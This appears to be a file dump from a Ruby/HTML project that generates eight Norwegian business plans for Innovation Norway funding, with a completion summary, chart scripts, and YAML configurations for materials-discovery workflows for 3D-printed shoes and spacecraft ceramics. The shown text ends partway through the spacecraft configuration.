              text: 'Rural Healthcare Access: 88,000 Patients Year 3',

              font: { size: 16, family: 'Source Serif 4' }

            }

          },

          scales: {

            y: {

              beginAtZero: true,

              title: { display: true, text: 'Patients Served' }

            }

          }

        }

      });

    }

bp/IMPLEMENTATION_SUMMARY.md

# Business Plans Implementation Summary
## Objective Completed ✅

Created consolidated `bplans/` directory in pub3 with 8 complete Norwegian business plans optimized for Innovasjon Norge (Innovation Norway) funding applications.
**Total Funding Target:** NOK 2,800,000

---
## Implementation Details
### Directory Structure

pub3/bplans/ ├── __shared/ │ └── template.html.erb # ERB template (17.9 KB) ├── data/

│ ├── syre.json # 9.0 KB

│ ├── speis.json # 8.2 KB

│ ├── norwegianhedge.json # 8.3 KB

│ ├── pubhealthcare.json # 8.5 KB

│ ├── ragnhild.json # 8.7 KB

│ ├── govt_bergen.json # 8.6 KB

│ ├── nato.json # 9.2 KB

│ └── ai3.json # 9.0 KB

├── assets/

│ └── images/

│ ├── ivaar_fkyeah1.png # 1.2 MB (copied from existing)

│ ├── ivaar_fkyeah2.png # 1.9 MB (copied from existing)

│ └── ivaar_fkyeah3.png # 1.8 MB (copied from existing)

├── generated/ # 8 HTML files (19-23 KB each)

│ ├── syre.html

│ ├── speis.html

│ ├── norwegianhedge.html

│ ├── pubhealthcare.html

│ ├── ragnhild.html

│ ├── govt_bergen.html

│ ├── nato.html

│ └── ai3.html

├── generate.rb # Ruby generator (4.2 KB)

├── index.html # Directory listing (9.0 KB)

└── README.md # Documentation (6.0 KB)


---

## Business Plans Overview

### 1. SYRE™ - 3D-printede sko med bærekraft

- **Sector:** Environment & Sustainability

- **Funding:** NOK 250,000
- **Innovation:** Multi-material 3D printing, parametric CAD (Grasshopper/Rhino)
- **Key Features:** G-TPU materials, mycelium leather, 1:1 donation model
- **File:** syre.html (23 KB, 9 sections, 3 charts, carousel enabled)

### 2. SPEIS - NATO Aurora skip + kampfly 7-10. gen

- **Sector:** Maritime + Defense

- **Funding:** NOK 500,000

- **Innovation:** Nuclear-hybrid Arctic ships + next-gen fighter jets

- **Key Features:** AI propulsion, 3.5m ice-breaking, modular systems
- **File:** speis.html (19 KB, 9 sections, 2 charts)

### 3. Norwegian Hedge - Hedgefond + Ruby-handelsbots

- **Sector:** Technology + Finance

- **Funding:** NOK 300,000

- **Innovation:** Ruby bot swarm with AI³ meta-learning

- **Key Features:** HFT, scalping, arbitrage, 1.5%/15% fee structure
- **File:** norwegianhedge.html (21 KB, 9 sections, 3 charts)

### 4. pub.healthcare - Autonome parametriske sykehus

- **Sector:** Health

- **Funding:** NOK 500,000

- **Innovation:** Self-constructing hospitals (90-day deployment)

- **Key Features:** Robotic assembly, AI patient flow, energy self-sufficient
- **File:** pubhealthcare.html (21 KB, 9 sections, 3 charts)

### 5. Ragnhild - Begravelsesbyrå (Karaokekiste)

- **Sector:** Social Innovation

- **Funding:** NOK 150,000

- **Innovation:** Modern funeral services with LED-lit caskets

- **Key Features:** Karaokekiste, Diskokiste, Klovnepallbærere, holography
- **File:** ragnhild.html (21 KB, 9 sections, 3 charts)

### 6. Bergen Selvstyreparti - Politisk teknologiplattform

- **Sector:** Civic Tech

- **Funding:** NOK 200,000

- **Innovation:** Blockchain-based local governance (DAO for municipality)

- **Key Features:** Quadratic voting, smart contracts, full transparency
- **File:** govt_bergen.html (21 KB, 9 sections, 3 charts)

### 7. NATO Aurora - Arktiske dominanseskip

- **Sector:** Maritime + Defense

- **Funding:** NOK 500,000

- **Innovation:** Arctic icebreakers surpassing Russian Arktika-class

- **Key Features:** Dual nuclear reactors, 3.5m ice-breaking, hybrid-electric
- **File:** nato.html (22 KB, 9 sections, 3 charts)

### 8. AI³ - Ruby 3D-printing for romfart

- **Sector:** Energy & Environment + Aerospace

- **Funding:** NOK 400,000

- **Innovation:** Ruby-driven 3D printing for spacecraft propulsion

- **Key Features:** Generative design, fusion nozzles, Inconel 718 printing
- **File:** ai3.html (22 KB, 9 sections, 3 charts)

---

## Innovation Norway Compliance ✅

All 8 plans include required sections in Norwegian:

1. ✅ **Sammendrag** - Executive summary with vision, mission, innovation, customer benefit

2. ✅ **Markedsanalyse** - Market size (Norway/Nordics), segments, competition, advantages
3. ✅ **Teknologi og Innovasjon** - Technical description, unique innovation, IP status, stage
4. ✅ **Forretningsmodell** - Revenue streams, profitability path, scalability
5. ✅ **Utviklingsveikart** - Quarterly milestones (Q1 2026 - Q4 2027)
6. ✅ **Finansieringsbehov** - Total funding, Innovation Norway request, allocation table

7. ✅ **Team og Kompetanse** - Key personnel backgrounds and expertise

8. ✅ **Bærekraft og Samfunnsansvar** - Environmental, social, economic impact + UN SDGs

---

## Design Implementation ✅

### SYRE™ Baseline Preserved

- **Logo:** Black Han Sans, 70px, with TM symbol (conditional)

- **Gradient:** `linear-gradient(45deg, #ff007f, #00c9ff, #ffcc00, #ff007f)`
- **Animation:** gradientMove (5s infinite linear)
- **Background Size:** 400%
- **Responsive:** Mobile breakpoint 768px
- **Dependencies:**

  - Swiper 8 (carousel for SYRE™ only)

  - Chart.js 4 (all plans)

  - Google Fonts (Black Han Sans, Inter)

### Visual Elements

- ✅ Header with animated gradient logo

- ✅ Optional TM symbol (SYRE™ only)

- ✅ Tagline and sector display

- ✅ Swiper carousel (SYRE™ with 3 images)
- ✅ 8-9 content sections with proper typography
- ✅ Financial allocation tables

- ✅ Team member profiles

- ✅ Chart.js visualizations (2-3 per plan)

---

## Technical Implementation

### Generator Script (generate.rb)

**Features:**

- Loads JSON data from `data/` directory
- Renders ERB template with data binding
- Validates required sections
- Checks file sizes
- Outputs to `generated/` directory

- Error handling and reporting

**Usage:**

```bash

cd bplans

ruby generate.rb

Output:


🚀 Business Plan Generator

==================================================

📋 Found 8 business plan(s)
📝 Processing: [each plan]

  ✅ Generated: [filename] ([size] KB)

==================================================

✅ Successfully generated: 8/8

Template System

ERB Template Features:

  • Conditional rendering (trademark, carousel)

  • Data interpolation from JSON

  • Helper methods (number_with_delimiter)

  • Dynamic chart generation

  • Responsive CSS

  • Loop constructs for arrays


Quality Metrics ✅

File Sizes

  • JSON: All < 10 KB (target: <20 KB) ✅

  • HTML: All < 25 KB (target: <100 KB) ✅

  • Images: 1.2-1.9 MB (acceptable for carousel)

Validation Results

  • ✅ All JSON files valid (no syntax errors)

  • ✅ All HTML files properly structured

  • ✅ All sections present in each plan

  • ✅ All charts configured correctly

  • ✅ Gradient preserved across all plans

  • ✅ Responsive design working

  • ✅ 100% Norwegian content

Content Quality

  • ✅ Realistic market data

  • ✅ Credible team backgrounds

  • ✅ Detailed technology descriptions

  • ✅ Comprehensive funding allocations

  • ✅ Specific quarterly milestones

  • ✅ UN SDG alignments


Master.json Update ✅

Version: 16.8.0 → 16.9.0

Added Section:

"business_plans": {
  "target_funding": "innovasjonnorge.no",
  "total_funding_nok": 2800000,
  "plans": 8,

  "language": "norwegian",

  "compliance": { ... },

  "structure": { ... },

  "plans_list": [ ... 8 plans ... ],

  "quality_metrics": { ... },

  "design": { ... }

}

Success Criteria - ALL MET ✅

  1. ✅ All 8 JSON files created with Norwegian content

  2. ✅ ERB template preserves exact SYRE™ layout

  3. ✅ generate.rb produces valid HTML for all plans

  4. ✅ Images copied from existing to bplans/assets/images/

  5. ✅ index.html directory created with links to all plans

  6. ✅ README.md documents structure and usage

  7. ✅ master.json updated to v16.9.0

  8. ✅ All plans pass Innovation Norway compliance checks


Usage Instructions

Viewing Business Plans

  1. Directory Listing: Open bplans/index.html in browser

  2. Individual Plans: Open files in bplans/generated/

  3. SYRE™ with Images: Ensure images are in bplans/assets/images/

Modifying Plans

  1. Edit JSON file in data/ directory

  2. Run ruby generate.rb

  3. View updated HTML in generated/

Adding New Plans

  1. Create new JSON file in data/ (follow schema)

  2. Run ruby generate.rb

  3. Update index.html to link new plan

  4. Update master.json plans_list


Deliverables Checklist ✅

  • ✅ 8 JSON data files (data/)

  • ✅ 8 Generated HTML files (generated/)

  • ✅ 1 ERB template (__shared/template.html.erb)

  • ✅ 1 Ruby generator (generate.rb)

  • ✅ 1 Index page (index.html)

  • ✅ 1 README documentation (README.md)

  • ✅ 3 Product images (assets/images/)

  • ✅ master.json v16.9.0 update

Total Files: 24 files across 6 directories


Conclusion

The business plans consolidation project is 100% complete with all requirements met. The implementation provides a robust, maintainable system for generating Innovation Norway-compliant business plans with consistent design and comprehensive Norwegian content.

Total Funding Target: NOK 2,800,000 across 8 innovative Norwegian ventures.


## `bp/README.md`
```markdown
# Business Plans
Interactive business plans with data visualization and responsive design.
## Usage
```bash
ruby generate.rb

Structure

  • data/*.json - Business plan data

  • __shared/template.html.erb - HTML template

  • generated/*.html - Output files

  • assets/ - Images and media

Features

  • ERB templating with JSON data

  • Chart.js visualizations

  • Swiper image carousels

  • Responsive mobile-first design

  • Self-contained HTML output


## `bp/govt_bergen.js`
```javascript
const ctx = document.getElementById('marketChart').getContext('2d');
                const marketChart = new Chart(ctx, {
                    type: 'bar',

                    data: {
                        labels: ['Bergen', 'Oslo', 'Stavanger', 'Trondheim'],
                        datasets: [{
                            label: 'Støtte for Selvstyrepartiet',
                            data: [60, 45, 70, 50],
                            backgroundColor: 'rgba(93, 147, 255, 0.6)',
                            borderColor: 'rgba(93, 147, 255, 1)',
                            borderWidth: 1
                        }]
                    },
                    options: {
                        scales: {
                            y: {
                                beginAtZero: true
                            }
                        }
                    }
                });

bp/mg_footwear.yml

# master_mg_shoes.yml v1.0.0
# SYRE™ Footwear Materials Discovery Framework

# MatterGen Integration + Biomimetic Design + 3D Printing Workflow

extends: master.yml
meta:
  version: 1.0.0

  domain: footwear_materials_discovery

  parent: master.yml v31.0.0

  purpose: "Generate novel midsole/upper materials via MatterGen, validate through adversarial cascade, visualize lattice structures in Mittsu, export STL for multi-material 3D printing"

  business_context:
    program: "SYRE™ Gratis Sko (1:1 donation model)"

    requirements: [performance, sustainability, printability, cost_effectiveness]

    technology_stack: "Multi-material 3D printing (Carbon DLS, HP MJF)"

    design_philosophy: brutalist_functional_honest

  output_targets:
    visualization: mittsu_opengl

    export_format: [stl_binary, obj_with_mtl]

    lattice_format: json_for_parametric_generation

    material_specs: yaml_with_property_predictions

materials:
  domains:

    midsole:

      target_properties:

        energy_return: {min: 0.80, max: 0.90, unit: ratio, priority: critical}

        density: {min: 100, max: 200, unit: "g/dm³", priority: critical}

        shore_hardness: {min: 45, max: 65, unit: shore_a, priority: high}

        compression_set: {max: 15, unit: percent, priority: high}

        tear_strength: {min: 80, unit: "N/mm", priority: medium}

        abrasion_resistance: {min: 100000, unit: cycles, priority: medium}

      sustainability:
        biodegradation_time: {max: 5, unit: years, priority: critical}

        bio_content: {min: 0.40, unit: ratio, priority: high}

        recyclability: {require: true, priority: high}

        toxicity: {max: 0, standard: "REACH SVHC", priority: veto}

      printing:
        technology: [carbon_dls, hp_mjf]

        layer_height: {min: 0.08, max: 0.15, unit: mm}

        build_speed: {min: 10, unit: "mm/hour"}

        post_cure: {max: 120, unit: minutes}

        support_material: {dissolvable: preferred}

    upper:
      target_properties:

        tensile_strength: {min: 15, max: 30, unit: MPa, priority: high}

        elongation_at_break: {min: 300, max: 500, unit: percent, priority: medium}

        breathability: {min: 2000, unit: "g/m²/24h", priority: high}

        weight: {max: 150, unit: "g/m²", priority: high}

      sustainability:
        bio_content: {min: 0.60, unit: ratio, priority: critical}

        microplastic_shedding: {max: 0.01, unit: "mg/wash", priority: veto}

      printing:
        technology: [fdm_tpu, sls_pa11]

        mesh_density: {min: 5, max: 15, unit: "holes/cm²"}

  mattergen:
    api_endpoint: "http://materials-service.syre.local:8000"

    model: "microsoft/mattergen-v1"

    constraints:
      midsole_reinforcement:

        composition_space:

          allowed_elements: [Ca, P, O, Si, Mg, Zn, Al]

          exclude_elements: [Pb, Cd, Hg, As, Cr_VI, Ba, radioactive]

          max_atoms: 20

          symmetry_preference: cubic_hexagonal

        property_targets:
          bulk_modulus: {min: 30, max: 100, unit: GPa}

          youngs_modulus: {min: 20, max: 80, unit: GPa}

          formation_energy: {max: -0.5, unit: "eV/atom"}

          band_gap: {min: 2.0, unit: eV}

        biocompatibility:
          cytotoxicity: {require: ISO_10993, veto: true}

          implant_grade: {prefer: true}

          dissolution_rate: {max: 0.5, unit: "mg/cm²/day"}

      upper_fiber:
        composition_space:

          allowed_elements: [C, N, O, H, Ca, Si]

          bio_derived: {require: true}

          polymer_compatible: [PA11, PLA, PHA]

    generation:
      n_candidates: 15

      guidance_factor: 2.0

      diffusion_steps: 1000

      temperature: 0.8

      random_seeds: [42, 137, 314, 271, 577, 853, 997, 1123, 1619, 2039, 2357, 2663, 3001, 3319, 3571]

    validation:
      dft_engine: vasp_or_quantum_espresso

      phonon_check: mandatory

      synthesis_screening: icsd_precedent_or_thermodynamic_pathway

biomimetics:
  inspiration_sources:

    spider_silk:

      structure: coat_skin_core_hierarchy

      key_features: [cylindrical_nanofibrils, beta_sheet_crystals, amorphous_matrix]

      properties_to_mimic: [strength_to_weight, energy_dissipation, toughness]

      adaptation: ceramic_reinforced_tpu_nanocomposite

    nacre:
      structure: brick_and_mortar

      key_features: [mineral_platelets, organic_interfaces, crack_deflection]

      properties_to_mimic: [toughness, damage_tolerance]

      adaptation: layered_composite_midsole

    bone:
      structure: hierarchical_porosity

      key_features: [trabecular_lattice, cortical_shell, osteon_channels]

      properties_to_mimic: [strength_to_weight, energy_absorption, remodeling]

      adaptation: parametric_lattice_midsole

    mantis_shrimp_dactyl:
      structure: helicoidal_fiber_stacking

      key_features: [bouligand_structure, impact_resistance, crack_arrest]

      properties_to_mimic: [impact_absorption, fatigue_resistance]

      adaptation: twisted_lattice_nodes

lattice:
  geometries:

    truncated_cube:

      strut_diameter: {min: 0.8, max: 2.0, unit: mm}

      cell_size: {min: 3, max: 8, unit: mm}

      relative_density: {min: 0.15, max: 0.35}

      mechanical_efficiency: high

    kelvin:
      cell_size: {min: 4, max: 10, unit: mm}

      relative_density: {min: 0.10, max: 0.25}

      isotropic: true

    gyroid:
      wall_thickness: {min: 0.5, max: 1.5, unit: mm}

      relative_density: {min: 0.20, max: 0.40}

      surface_smoothness: high

      energy_return: highest

    voronoi:
      seed_count: {min: 50, max: 200, per: "100mm³"}

      randomness: 0.7

      organic_feel: true

  zoning:
    heel_strike:

      geometry: truncated_cube

      density: 0.35

      ceramic_reinforcement: nodes_and_critical_struts

    midfoot:
      geometry: gyroid

      density: 0.25

      gradient: smooth_transition

    forefoot:
      geometry: kelvin

      density: 0.20

      energy_return_priority: maximum

  parametric:
    foot_mapping:

      pressure_zones: [heel, lateral_midfoot, metatarsal_heads, hallux]

      anthropometric_scaling: iso_7250_percentiles

      customization_level: [standard, custom, bespoke]

    adaptation:
      runner_weight: {range: [45, 120], unit: kg}

      gait_pattern: [neutral, overpronation, supination]

      terrain: [road, trail, track]

visualization:
  engine: mittsu

  mittsu:
    version: "0.4.0+"

    renderer: opengl

    scene:
      background: 0x000000

      fog: none

      grid: {size: 200, divisions: 20, color: 0x222222}

    camera:
      type: perspective

      fov: 75.0

      near: 0.1

      far: 1000.0

      position: {x: 150, y: 100, z: 150}

      look_at: {x: 0, y: 0, z: 0}

    lighting:
      ambient: {color: 0x404040, intensity: 0.4}

      directional:

        - {color: 0xffffff, intensity: 0.8, position: {x: 100, y: 200, z: 100}}

        - {color: 0x8080ff, intensity: 0.3, position: {x: -100, y: 50, z: -100}}

      hemisphere: {sky: 0xffffbb, ground: 0x080820, intensity: 0.5}

    materials:
      lattice_struts:

        type: mesh_phong

        color: 0xe76b30

        specular: 0x111111

        shininess: 30

        transparent: false

      ceramic_nodes:
        type: mesh_standard

        color: 0xdddddd

        metalness: 0.1

        roughness: 0.6

      polymer_matrix:
        type: mesh_physical

        color: 0x88aaff

        transmission: 0.7

        opacity: 0.3

        roughness: 0.1

    controls:
      type: orbit

      enable_zoom: true

      enable_pan: true

      enable_rotate: true

      zoom_speed: 1.0

      rotation_speed: 0.5

    rendering:
      antialias: true

      shadow_map: {enabled: true, type: pcf_soft}

      pixel_ratio: window.device_pixel_ratio

      tone_mapping: aces_filmic

  babylon_web:
    fallback: true

    canvas_id: "syre-materials-canvas"

    engine: webgl2

    scene_optimizer: true

export:
  stl:

    format: binary

    units: millimeters

    coordinate_system: right_handed_z_up

    resolution: high

    validation:
      manifold_check: mandatory

      normal_consistency: mandatory

      self_intersection: reject

      degenerate_triangles: repair

      minimum_wall_thickness: 0.8mm

    metadata:
      include: [material_composition, lattice_parameters, property_predictions, generation_timestamp]

  gcode:
    slicer: prusaslicer_or_cura

    profiles:

      carbon_dls:

        layer_height: 0.1

        print_speed: 50

        infill: 100

        supports: auto

      hp_mjf:
        layer_height: 0.08

        powder_refresh: 10

        energy_density: 0.7

  material_datasheet:
    format: yaml

    include:

      - mattergen_composition

      - dft_validated_properties

      - synthesis_pathway

      - biocompatibility_assessment

      - cost_estimate

      - environmental_impact

      - print_parameters

workflow:
  phases:

    discover:

      inputs: [user_requirements, anthropometric_data, gait_analysis]

      process:

        1: parse_requirements_to_constraints

        2: invoke_mattergen_batch_generation

        3: filter_by_element_safety

        4: predict_composite_properties

      outputs: [15_material_candidates]

    validate:
      adversarial_cascade:

        security:

          checks: [toxicity_screen, microparticle_risk, allergen_identification]

          veto: true

        reliability:
          checks: [synthesis_feasibility, stability_prediction, degradation_pathway]

          dft_validation: top_5_candidates

          threshold: 0.90

        performance:
          checks: [energy_return_model, durability_estimate, cost_analysis]

          threshold: 0.85

      outputs: [3_validated_candidates]
    design:
      lattice_generation:

        method: parametric_from_pressure_map

        geometry: select_by_zone

        optimization: minimize_mass_maximize_energy_return

        tools:
          ruby: mittsu_geometry_builder

          fallback: openscad_script_generation

      composite_modeling:
        ceramic_phase: mattergen_output

        polymer_matrix: materials_database_selection

        interface: cohesive_zone_model

        fea:
          software: calculix_or_abaqus

          loads: iso_20344_drop_test

          mesh: 1mm_elements

      outputs: [parametric_cad_model, fea_results, lattice_json]
    visualize:
      mittsu_scene:

        1: load_lattice_geometry_from_json

        2: apply_material_properties_to_mesh

        3: add_ceramic_reinforcement_nodes

        4: render_interactive_3d_view

        5: enable_section_plane_cuts

      outputs: [interactive_window, rotation_animation_frames]
    export:
      stl_generation:

        1: convert_mittsu_geometry_to_triangle_mesh

        2: validate_manifold_integrity

        3: optimize_triangle_count

        4: write_binary_stl_with_metadata

      material_spec:
        format: master_mg_shoes_material_{id}.yml

        include_evidence: [dft_calculation_files, phonon_dispersion_plots, synthesis_references]

      outputs: [stl_files, material_datasheets, print_instructions]
    iterate:
      convergence:

        metrics: [energy_return, sustainability_score, cost_per_pair, print_time]

        pareto_optimization: true

        max_iterations: 20

      on_failure:
        rollback: best_validated_state

        adjust: loosen_constraints_by_10_percent

        escalate: after_3_failed_cycles

ruby_integration:
  services:

    materials_orchestrator:

      path: app/services/materials_orchestrator.rb

      responsibilities:

        - parse_user_requirements

        - invoke_mattergen_api

        - apply_adversarial_validation

        - coordinate_lattice_generation

        - trigger_visualization_export

    mittsu_visualizer:
      path: app/services/mittsu_visualizer.rb

      responsibilities:

        - load_lattice_json

        - construct_3d_scene

        - apply_materials_and_lighting

        - render_to_window

        - export_animation_frames

      example: |
        require 'mittsu'

        class MittsuVisualizer
          def render_lattice(lattice_json:, output_path:)

            scene = Mittsu::Scene.new

            camera = Mittsu::PerspectiveCamera.new(75.0, ASPECT, 0.1, 1000.0)

            renderer = Mittsu::OpenGLRenderer.new(width: 1920, height: 1080)

            # Load lattice geometry
            lattice = LatticeMesh.from_json(lattice_json)

            # Create materials per master.yml brutalist principles
            strut_material = Mittsu::MeshPhongMaterial.new(

              color: 0xe76b30,  # terra_cotta

              specular: 0x111111,

              shininess: 30

            )

            lattice.struts.each do |strut|
              cylinder = create_cylinder_geometry(strut)

              mesh = Mittsu::Mesh.new(cylinder, strut_material)

              scene.add(mesh)

            end

            # Add ceramic nodes
            node_material = Mittsu::MeshStandardMaterial.new(

              color: 0xdddddd,

              metalness: 0.1,

              roughness: 0.6

            )

            lattice.nodes.each do |node|
              if node.reinforced?

                sphere = Mittsu::SphereGeometry.new(node.radius, 16, 16)

                mesh = Mittsu::Mesh.new(sphere, node_material)

                mesh.position.set(node.x, node.y, node.z)

                scene.add(mesh)

              end

            end

            # Lighting per master.yml spec
            ambient = Mittsu::AmbientLight.new(0x404040, 0.4)

            scene.add(ambient)

            directional = Mittsu::DirectionalLight.new(0xffffff, 0.8)
            directional.position.set(100, 200, 100)

            scene.add(directional)

            # Render and export
            camera.position.set(150, 100, 150)

            camera.look_at(Mittsu::Vector3.new(0, 0, 0))

            renderer.render(scene, camera)
            export_stl(scene, output_path)

          end

          private
          def export_stl(scene, path)
            triangles = []

            scene.children.each do |mesh|
              next unless mesh.is_a?(Mittsu::Mesh)

              geometry = mesh.geometry
              geometry.faces.each do |face|

                v1 = geometry.vertices[face.a]

                v2 = geometry.vertices[face.b]

                v3 = geometry.vertices[face.c]

                triangles << {
                  normal: face.normal,

                  vertices: [v1, v2, v3]

                }

              end

            end

            StlExporter.write_binary(triangles, path)
          end

        end

    stl_exporter:
      path: app/services/stl_exporter.rb

      format: binary_stl

      example: |
        class StlExporter

          HEADER_SIZE = 80

          def self.write_binary(triangles, path)
            File.open(path, 'wb') do |file|

              # Header (80 bytes)

              header = "Generated by master_mg_shoes.yml v1.0.0"

              file.write(header.ljust(HEADER_SIZE, ""))

              # Triangle count (4 bytes, little-endian)
              file.write([triangles.count].pack('V'))

              # Triangles
              triangles.each do |tri|

                # Normal (3 floats)

                file.write([tri[:normal].x, tri[:normal].y, tri[:normal].z].pack('e3'))

                # Vertices (9 floats)
                tri[:vertices].each do |v|

                  file.write([v.x, v.y, v.z].pack('e3'))

                end

                # Attribute byte count (2 bytes)
                file.write([0].pack('v'))

              end

            end

          end

        end

biomimetic_algorithms:
  spider_silk_nanostructure:

    ruby: |

      def generate_nanofibrils(diameter_nm: 130, length_um: 50, density: 0.3)

        fibrils = []

        # Coat-skin-core structure
        core_diameter = diameter_nm * 0.6

        skin_thickness = diameter_nm * 0.2

        coat_thickness = diameter_nm * 0.2

        # Beta-sheet crystal regions (oriented along fibril axis)
        crystal_spacing = 20  # nm

        crystal_length = 10   # nm

        (length_um * 1000 / crystal_spacing).to_i.times do |i|
          z_pos = i * crystal_spacing

          fibrils << {
            type: :beta_sheet_crystal,

            center: [0, 0, z_pos],

            length: crystal_length,

            diameter: core_diameter,

            stiffness: :high

          }

        end

        fibrils
      end

  nacre_brick_mortar:
    ruby: |

      def generate_platelet_structure(width_um: 5, thickness_nm: 500, overlap: 0.5)

        platelets = []

        layer_offset = width_um * (1 - overlap)

        # Mineral phase (aragonite-like ceramic from MatterGen)
        mineral_composition = mattergen_output

        # Organic interface (polymer matrix)
        interface_thickness = 30  # nm

        z = 0
        layer = 0

        while z < target_height_um * 1000
          x_offset = (layer % 2) * layer_offset / 2

          x = x_offset
          while x < target_width_um

            platelets << {

              type: :mineral_platelet,

              composition: mineral_composition,

              position: [x, 0, z],

              dimensions: [width_um, width_um, thickness_nm / 1000.0],

              orientation: [0, 0, 1]

            }

            platelets << {
              type: :organic_interface,

              thickness: interface_thickness / 1000.0,

              position: [x, 0, z + thickness_nm / 1000.0],

              shear_strength: :moderate

            }

            x += width_um
          end

          z += (thickness_nm + interface_thickness) / 1000.0
          layer += 1

        end

        platelets
      end

testing:
  simulations:

    mechanical:

      software: calculix

      tests:

        - iso_20344_compression

        - iso_20344_impact

        - astm_d2240_hardness

        - din_53516_abrasion

      boundary_conditions:
        heel_strike:

          force: 2500  # N

          contact_area: 20  # cm²

          duration: 0.05  # seconds

    thermal:
      software: openfoam

      conditions:

        cold: -20  # °C

        normal: 20

        hot: 50

        wet: saturated_water

    biodegradation:
      standard: iso_17088

      conditions: [compost, soil, marine]

      duration: 5  # years

      measurement: mass_loss_co2_production

cost:
  ceramic_synthesis:

    spark_plasma_sintering: {cost_per_kg: 200, time_hours: 4}

    sol_gel: {cost_per_kg: 150, time_hours: 24}

    hydrothermal: {cost_per_kg: 100, time_hours: 48}

  polymer_matrix:
    pa11_bio: {cost_per_kg: 35}

    tpu_bio: {cost_per_kg: 45}

    pla: {cost_per_kg: 25}

  printing:
    carbon_dls: {cost_per_part: 25, time_hours: 2}

    hp_mjf: {cost_per_part: 18, time_hours: 8}

  target:
    midsole_unit_cost: {max: 12, currency: USD}

    upper_unit_cost: {max: 8, currency: USD}

    total_shoe_cogs: {max: 35, currency: USD}

documentation:
  material_card:

    format: markdown

    sections:

      - composition_and_structure

      - predicted_properties_with_uncertainty

      - synthesis_pathway

      - print_parameters

      - biomimetic_inspiration

      - sustainability_metrics

      - cost_breakdown

      - dft_validation_results

      - experimental_synthesis_status

  stl_naming:
    pattern: "syre_midsole_{material_id}_{lattice_type}_{density}_{version}.stl"

    example: "syre_midsole_mg2025001_gyroid_025_v1.stl"

  readme:
    include:

      - overview_of_discovery_process

      - mattergen_parameters_used

      - adversarial_validation_results

      - visualization_instructions

      - print_settings_recommendations

      - testing_protocol_references

bp/mg_space.yml

# master_mg_spacecraft.yml v1.0.0
# Spacecraft UHTC/MHD Materials Discovery Framework

# MatterGen Integration + Plasma Physics + Ceramic-Metal Composites

extends: master.yml
meta:
  version: 2.0.0

  domain: spacecraft_materials_discovery

  parent: master.yml v32.0.0

  purpose: "Generate novel UHTC compositions for no-moving-parts propulsion via MatterGen, validate 15 ranked propulsion concepts from TRL 9 (Hall/ion) to TRL 3 (atmospheric MHD), visualize plasma-interface geometries in Mittsu, export hull/thruster components for monolithic saucer structure"

  spacecraft_context:
    configuration: saucer_like_disc

    propulsion_philosophy: no_moving_parts_monolithic_structure

    operational_envelope:

      altitude: [0, 100]  # km (atmospheric + near-space)

      velocity: [0, 15]   # Mach

      temperature: [220, 2200]  # K

    design_philosophy: brutalist_functional_electromagnetic
# YAML anchors for DRY compliance (master.yml v32.0.0)
property_spec: &property_spec

  min: null

  max: null

  unit: null

  priority: null

validation_pipeline: &validation_pipeline
  dft_engine: vasp_paw

  phonon_check: mandatory

  elastic_constants: full_tensor

  magnetic_properties: spin_polarized

  neutron_activation: tendl_2023_database

trl_assessment: &trl_assessment
  level: null

  flight_heritage: null

  last_demonstration: null

  readiness_date: null

  output_targets:
    visualization: mittsu_opengl_with_plasma_overlay

    export_format: [step_for_cnc, stl_for_ceramic_printing, iges_for_fea]

    material_specs: yaml_with_em_properties

materials:
  domains:

    hull_structure:

      target_properties:

        melting_point:

          <<: *property_spec

          min: 2800

          unit: K

          priority: critical

        bulk_modulus:

          <<: *property_spec

          min: 300

          max: 500

          unit: GPa

          priority: critical

        fracture_toughness:

          <<: *property_spec

          min: 5

          max: 10

          unit: "MPa·m^0.5"

          priority: critical

        thermal_conductivity:

          <<: *property_spec

          min: 40

          max: 100

          unit: "W/(m·K)"

          priority: high

        thermal_expansion:

          <<: *property_spec

          max: 8e-6

          unit: "1/K"

          priority: high

        electrical_conductivity:

          <<: *property_spec

          min: 1e4

          max: 1e6

          unit: "S/m"

          priority: medium

        density:

          <<: *property_spec

          max: 8000

          unit: "kg/m³"

          priority: medium

      propulsion_integration:
        primary_system: hall_thruster_array_or_ion_cluster

        secondary_system: atmospheric_mhd_for_dual_regime

        tertiary_system: pulsed_plasma_distributed

        power_requirement: {min: 100, max: 30000, unit: kW}

        thermal_load: {max: 10, unit: "MW/m²"}

      environmental:
        oxidation_resistance: {require: true, conditions: "1800K + air", priority: veto}

        plasma_erosion:

          <<: *property_spec

          max: 0.1

          unit: "mm/hour"

          priority: critical

        neutron_activation: {low_activation_elements: true, priority: veto}

        thermal_shock:

          <<: *property_spec

          delta_t: 500

          unit: K

          priority: high

      manufacturing:
        process: [spark_plasma_sintering, hot_isostatic_pressing, chemical_vapor_infiltration]

        grain_size: {target: 5, unit: um}

        porosity: {max: 0.02, unit: ratio}

        surface_roughness: {max: 1.6, unit: um_ra}

    propulsion_electrodes:
      note: "Material requirements vary by propulsion system (Hall/ion/MPD/MHD)"

      hall_thruster_components:
        target_properties:

          melting_point:

            <<: *property_spec

            min: 2800

            unit: K

            priority: critical

          sputtering_yield:

            <<: *property_spec

            max: 0.5

            unit: "atoms/ion"

            priority: critical

          thermal_conductivity:

            <<: *property_spec

            min: 100

            unit: "W/(m·K)"

            priority: high

        components:
          discharge_channel: boron_nitride_ceramic

          anode: [molybdenum, carbon_carbon_composite]

          cathode: tungsten_hollow_cathode

          magnets: [samarium_cobalt, neodymium_iron_boron]

      ion_engine_grids:
        target_properties:

          sputtering_resistance: critical

          electrical_conductivity:

            <<: *property_spec

            min: 1e5

            unit: "S/m"

            priority: high

          thermal_expansion_match: critical

        materials:
          grids: [molybdenum, carbon_carbon_composite]

          discharge_chamber: pyrolytic_graphite

          neutralizer: tungsten_hollow_cathode

      mpd_electrodes:
        target_properties:

          melting_point:

            <<: *property_spec

            min: 3000

            unit: K

            priority: critical

          electrical_conductivity:

            <<: *property_spec

            min: 1e5

            unit: "S/m"

            priority: critical

          work_function:

            <<: *property_spec

            max: 4.5

            unit: eV

            priority: high

          current_density_tolerance:

            <<: *property_spec

            min: 100

            unit: "A/cm²"

            priority: critical

        materials:
          cathode: [tungsten, thoriated_tungsten]

          anode: [graphite, tungsten, refractory_metals]

          magnets: rebco_superconducting_at_77k

          cooling: [liquid_nitrogen, cryocooler]

      mhd_electrodes:
        target_properties:

          melting_point:

            <<: *property_spec

            min: 2500

            unit: K

            priority: critical

          electrical_conductivity:

            <<: *property_spec

            min: 1e4

            unit: "S/m"

            priority: critical

          plasma_erosion_resistance:

            <<: *property_spec

            max: 0.1

            unit: "mm/hour"

            priority: critical

        geometry: segmented_faraday_electrodes
        material: [tungsten, graphite_with_uhtc_coating]

        magnetic_field_compatibility: {up_to: 20, unit: tesla}

        manufacturing:
